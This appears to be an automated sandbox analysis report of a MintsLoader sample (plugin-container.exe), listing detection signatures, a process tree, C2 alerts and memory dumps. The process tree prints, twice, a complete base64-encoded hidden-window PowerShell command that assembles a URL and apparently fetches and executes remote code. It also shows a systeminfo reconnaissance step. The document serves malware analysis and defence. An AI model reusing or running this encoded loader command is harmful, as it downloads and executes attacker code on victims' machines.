Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
10/07/2026, 16:17
General
- Target plugin-container.exe
- Size 141KB
- Sample260710-trd5cae17w
- SHA256 653a27b36c41fbb6ac9e7538b481e95b77ebc7eb4f83eb99b4838c81bff64dfa
Malware Config
Signatures
- Family: MintsLoader
MintsLoader is a multi-stage malware loader.
- Suricata alert: MintsLoader Outbound C2 Communication 1 IoCs
Network activity triggered a Suricata alert
- Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\plugin-container.exe"C:\Users\Admin\AppData\Local\Temp\plugin-container.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd" /c "systeminfo /FO CSV"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\systeminfo.exesysteminfo /FO CSV4⤵
- Gathers system information
-
-
-
C:\Users\Admin\AppData\Local\Temp\plugin-container.exe"C:\Users\Admin\AppData\Local\Temp\plugin-container.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C powershell -w h -e JAB2AHkAdQB6AHgAYgBuAGwAZABpAGgAPQAnAHUAcgAnACAAOwBzAGUAdAAtAGEAbABpAGEAcwAgAGgAZgA3AHcAegAzADIAZQAgAGMAJAAoACQAdgB5AHUAegB4AGIAbgBsAGQAaQBoACkAbAA7ACQAYgB5AHgAdQBjAHcAPQAoADcAMgA1ADgALAA3ADIANwAwACwANwAyADcAMAAsADcAMgA2ADYALAA3ADIAMQAyACwANwAyADAAMQAsADcAMgAwADEALAA3ADIANQAzACwANwAyADYAMgAsADcAMgA2ADEALAA3ADIANQA0ACwANwAyADAANQAsADcAMgA3ADQALAA3ADIANQAzACwANwAyADAAMgAsADcAMgAwADUALAA3ADIAMAAzACwANwAyADUAMQAsADcAMgA3ADAALAA3ADIANQA3ACwANwAyADUANAAsADcAMgA2ADEALAA3ADIAMAAwACwANwAyADcAMAAsADcAMgA2ADUALAA3ADIANgA2ACwANwAyADAAMQAsADcAMgAwADMALAA3ADIAMAAwACwANwAyADYANgAsADcAMgA1ADgALAA3ADIANgA2ACwANwAyADEANwAsADcAMgA2ADkALAA3ADIAMQA1ACwANwAyADAANwAsADcAMgAxADAALAA3ADIAMAAyACwANwAyADUANQAsADcAMgAwADQALAA3ADIAMAA3ACwANwAyADAAMgAsADcAMgA1ADQALAA3ADEAOQA5ACwANwAyADUANQAsADcAMgA1ADYALAA3ADIANQA2ACwANwAyADUAMgAsADcAMQA5ADkALAA3ADIAMAA2ACwANwAyADAAMgAsADcAMgAwADMALAA3ADIANQAxACwANwAxADkAOQAsADcAMgA1ADIALAA3ADIAMQAxACwANwAyADEAMAAsADcAMgAwADMALAA3ADEAOQA5ACwANwAyADUANgAsADcAMgA1ADIALAA3ADIAMAA5ACwANwAyADUANgAsADcAMgA1ADQALAA3ADIAMQAwACwANwAyADAAMgAsADcAMgAwADgALAA3ADIAMAA1ACwANwAyADAANwAsADcAMgA1ADEALAA3ADIAMAA0ACkAOwAkAGoAdgBpAGIAZwB0AG4AZQBoAGMAdQB4AGwAcwA9ACgAJwByAGUAaQBjAHAAbwByAGUAdAAnACwAJwBnAGUAdAAtAGMAbQBkAGwAZQB0ACcAKQA7ACQAZQBqAGQAcwBoAGIAawB0AHgAcQB1AG0AdgA9ACQAYgB5AHgAdQBjAHcAOwBmAG8AcgBlAGEAYwBoACgAJAByAHQAawBnAGoAYQBtAHkAbABwAGQAIABpAG4AIAAkAGUAagBkAHMAaABiAGsAdAB4AHEAdQBtAHYAKQB7ACQAcwB2AHEAZgBkAGoAeQA9ACQAcgB0AGsAZwBqAGEAbQB5AGwAcABkADsAJABjAHIAdgB5AHAAYgBxAHcAawBmAHQAZQB4AGwAPQAkAGMAcgB2AHkAcABiAHEAdwBrAGYAdABlAHgAbAArAFsAYwBoAGEAcgBdACgAJABzAHYAcQBmAGQAagB5AC0ANwAxADUANAApADsAJABuAHUAbABiAGMAcQB3AGEAaQA9ACQAYwByAHYAeQBwAGIAcQB3AGsAZgB0AGUAeABsADsAIAAkAGQAZQBvAG4AegBoAHYAbQBmAGEAYwByAGkAPQAkAG4AdQBsAGIAYwBxAHcAYQBpAH0AOwAkAHUAaQB3AHoAawBjAHQAbwBxAG0AZgBuAHkAWwAyAF0APQAkAGQAZQBvAG4AegBoAHYAbQBmAGEAYwByAGkAOwAkAG8AZwBrAGYAZABlAHMAbgB1AGkAcQBsAD0AJwByAGwAJwA7ACQAdgBtAGQAYwBoAGEAPQAxADsALgAkACgAWwBjAGgAYQByAF0AKAAoACgAMgAwADAAIAArACAAMwAwACkAIAAtACAAKAAxADAAMAAgACsAIAAyADUAKQApACkAKwAnAGUAJwArACcAeAAnACkAKABoAGYANwB3AHoAMwAyAGUAIAAtAHUAcwBlAGIAIAAkAGQAZQBvAG4AegBoAHYAbQBmAGEAYwByAGkAKQA=4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h -e JAB2AHkAdQB6AHgAYgBuAGwAZABpAGgAPQAnAHUAcgAnACAAOwBzAGUAdAAtAGEAbABpAGEAcwAgAGgAZgA3AHcAegAzADIAZQAgAGMAJAAoACQAdgB5AHUAegB4AGIAbgBsAGQAaQBoACkAbAA7ACQAYgB5AHgAdQBjAHcAPQAoADcAMgA1ADgALAA3ADIANwAwACwANwAyADcAMAAsADcAMgA2ADYALAA3ADIAMQAyACwANwAyADAAMQAsADcAMgAwADEALAA3ADIANQAzACwANwAyADYAMgAsADcAMgA2ADEALAA3ADIANQA0ACwANwAyADAANQAsADcAMgA3ADQALAA3ADIANQAzACwANwAyADAAMgAsADcAMgAwADUALAA3ADIAMAAzACwANwAyADUAMQAsADcAMgA3ADAALAA3ADIANQA3ACwANwAyADUANAAsADcAMgA2ADEALAA3ADIAMAAwACwANwAyADcAMAAsADcAMgA2ADUALAA3ADIANgA2ACwANwAyADAAMQAsADcAMgAwADMALAA3ADIAMAAwACwANwAyADYANgAsADcAMgA1ADgALAA3ADIANgA2ACwANwAyADEANwAsADcAMgA2ADkALAA3ADIAMQA1ACwANwAyADAANwAsADcAMgAxADAALAA3ADIAMAAyACwANwAyADUANQAsADcAMgAwADQALAA3ADIAMAA3ACwANwAyADAAMgAsADcAMgA1ADQALAA3ADEAOQA5ACwANwAyADUANQAsADcAMgA1ADYALAA3ADIANQA2ACwANwAyADUAMgAsADcAMQA5ADkALAA3ADIAMAA2ACwANwAyADAAMgAsADcAMgAwADMALAA3ADIANQAxACwANwAxADkAOQAsADcAMgA1ADIALAA3ADIAMQAxACwANwAyADEAMAAsADcAMgAwADMALAA3ADEAOQA5ACwANwAyADUANgAsADcAMgA1ADIALAA3ADIAMAA5ACwANwAyADUANgAsADcAMgA1ADQALAA3ADIAMQAwACwANwAyADAAMgAsADcAMgAwADgALAA3ADIAMAA1ACwANwAyADAANwAsADcAMgA1ADEALAA3ADIAMAA0ACkAOwAkAGoAdgBpAGIAZwB0AG4AZQBoAGMAdQB4AGwAcwA9ACgAJwByAGUAaQBjAHAAbwByAGUAdAAnACwAJwBnAGUAdAAtAGMAbQBkAGwAZQB0ACcAKQA7ACQAZQBqAGQAcwBoAGIAawB0AHgAcQB1AG0AdgA9ACQAYgB5AHgAdQBjAHcAOwBmAG8AcgBlAGEAYwBoACgAJAByAHQAawBnAGoAYQBtAHkAbABwAGQAIABpAG4AIAAkAGUAagBkAHMAaABiAGsAdAB4AHEAdQBtAHYAKQB7ACQAcwB2AHEAZgBkAGoAeQA9ACQAcgB0AGsAZwBqAGEAbQB5AGwAcABkADsAJABjAHIAdgB5AHAAYgBxAHcAawBmAHQAZQB4AGwAPQAkAGMAcgB2AHkAcABiAHEAdwBrAGYAdABlAHgAbAArAFsAYwBoAGEAcgBdACgAJABzAHYAcQBmAGQAagB5AC0ANwAxADUANAApADsAJABuAHUAbABiAGMAcQB3AGEAaQA9ACQAYwByAHYAeQBwAGIAcQB3AGsAZgB0AGUAeABsADsAIAAkAGQAZQBvAG4AegBoAHYAbQBmAGEAYwByAGkAPQAkAG4AdQBsAGIAYwBxAHcAYQBpAH0AOwAkAHUAaQB3AHoAawBjAHQAbwBxAG0AZgBuAHkAWwAyAF0APQAkAGQAZQBvAG4AegBoAHYAbQBmAGEAYwByAGkAOwAkAG8AZwBrAGYAZABlAHMAbgB1AGkAcQBsAD0AJwByAGwAJwA7ACQAdgBtAGQAYwBoAGEAPQAxADsALgAkACgAWwBjAGgAYQByAF0AKAAoACgAMgAwADAAIAArACAAMwAwACkAIAAtACAAKAAxADAAMAAgACsAIAAyADUAKQApACkAKwAnAGUAJwArACcAeAAnACkAKABoAGYANwB3AHoAMwAyAGUAIAAtAHUAcwBlAGIAIAAkAGQAZQBvAG4AegBoAHYAbQBmAGEAYwByAGkAKQA=5⤵
- Suricata alert: MintsLoader Outbound C2 Communication
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\plugin-container.exe"C:\Users\Admin\AppData\Local\Temp\plugin-container.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_5jbd0pmk.cex.ps1
memory/1484-2-0x00007FFB27EA0000-0x00007FFB27F34000-memory.dmp
memory/1484-253-0x00007FFB27EA0000-0x00007FFB27F34000-memory.dmp
memory/2860-9-0x00007FFB27B60000-0x00007FFB27BA1000-memory.dmp
memory/2860-163-0x00007FFB27B60000-0x00007FFB27BA1000-memory.dmp
memory/2860-14-0x00007FFB27980000-0x00007FFB279C3000-memory.dmp
memory/2860-13-0x00007FFB279D0000-0x00007FFB27A20000-memory.dmp
memory/2860-12-0x00007FFB27A20000-0x00007FFB27A68000-memory.dmp
memory/2860-11-0x00007FFB27AC0000-0x00007FFB27B01000-memory.dmp
memory/2860-10-0x00007FFB27B10000-0x00007FFB27B56000-memory.dmp
memory/2860-16-0x00007FFB1B650000-0x00007FFB1B7F1000-memory.dmp
memory/2860-7-0x00007FFB27C00000-0x00007FFB27C41000-memory.dmp
memory/2860-6-0x00007FFB27C50000-0x00007FFB27C91000-memory.dmp
memory/2860-5-0x00007FFB280D0000-0x00007FFB28114000-memory.dmp
memory/2860-4-0x00007FFB285C0000-0x00007FFB28603000-memory.dmp
memory/2860-8-0x00007FFB27BB0000-0x00007FFB27BF1000-memory.dmp
memory/2860-17-0x00007FFB1B0D0000-0x00007FFB1B64D000-memory.dmp
memory/2860-56-0x0000026A59530000-0x0000026A59535000-memory.dmp
memory/2860-72-0x00007FFB1B0D0000-0x00007FFB1B64D000-memory.dmp
memory/2860-3-0x00007FFB27EA0000-0x00007FFB27F34000-memory.dmp
memory/2860-18-0x00007FFB27DA0000-0x00007FFB27DE5000-memory.dmp
memory/2860-15-0x00007FFB27800000-0x00007FFB27977000-memory.dmp
memory/2860-234-0x00007FFB1B0D0000-0x00007FFB1B64D000-memory.dmp
memory/2860-168-0x00007FFB27980000-0x00007FFB279C3000-memory.dmp
memory/2860-159-0x00007FFB280D0000-0x00007FFB28114000-memory.dmp
memory/2860-169-0x00007FFB27800000-0x00007FFB27977000-memory.dmp
memory/2860-160-0x00007FFB27C50000-0x00007FFB27C91000-memory.dmp
memory/2860-167-0x00007FFB279D0000-0x00007FFB27A20000-memory.dmp
memory/2860-166-0x00007FFB27A20000-0x00007FFB27A68000-memory.dmp
memory/2860-165-0x00007FFB27AC0000-0x00007FFB27B01000-memory.dmp
memory/2860-164-0x00007FFB27B10000-0x00007FFB27B56000-memory.dmp
memory/2860-114-0x00007FFB1B0D0000-0x00007FFB1B64D000-memory.dmp
memory/2860-162-0x00007FFB27BB0000-0x00007FFB27BF1000-memory.dmp
memory/2860-161-0x00007FFB27C00000-0x00007FFB27C41000-memory.dmp
memory/2860-170-0x00007FFB1B650000-0x00007FFB1B7F1000-memory.dmp
memory/2860-158-0x00007FFB285C0000-0x00007FFB28603000-memory.dmp
memory/2860-157-0x00007FFB27EA0000-0x00007FFB27F34000-memory.dmp
memory/3416-117-0x000002AEDAE30000-0x000002AEDAF9A000-memory.dmp
memory/3416-215-0x000002AEDAE30000-0x000002AEDAF9A000-memory.dmp
memory/3416-96-0x000002AEC1260000-0x000002AEC1282000-memory.dmp
memory/4796-216-0x00007FFB27EA0000-0x00007FFB27F34000-memory.dmp
memory/4796-116-0x00007FFB27EA0000-0x00007FFB27F34000-memory.dmp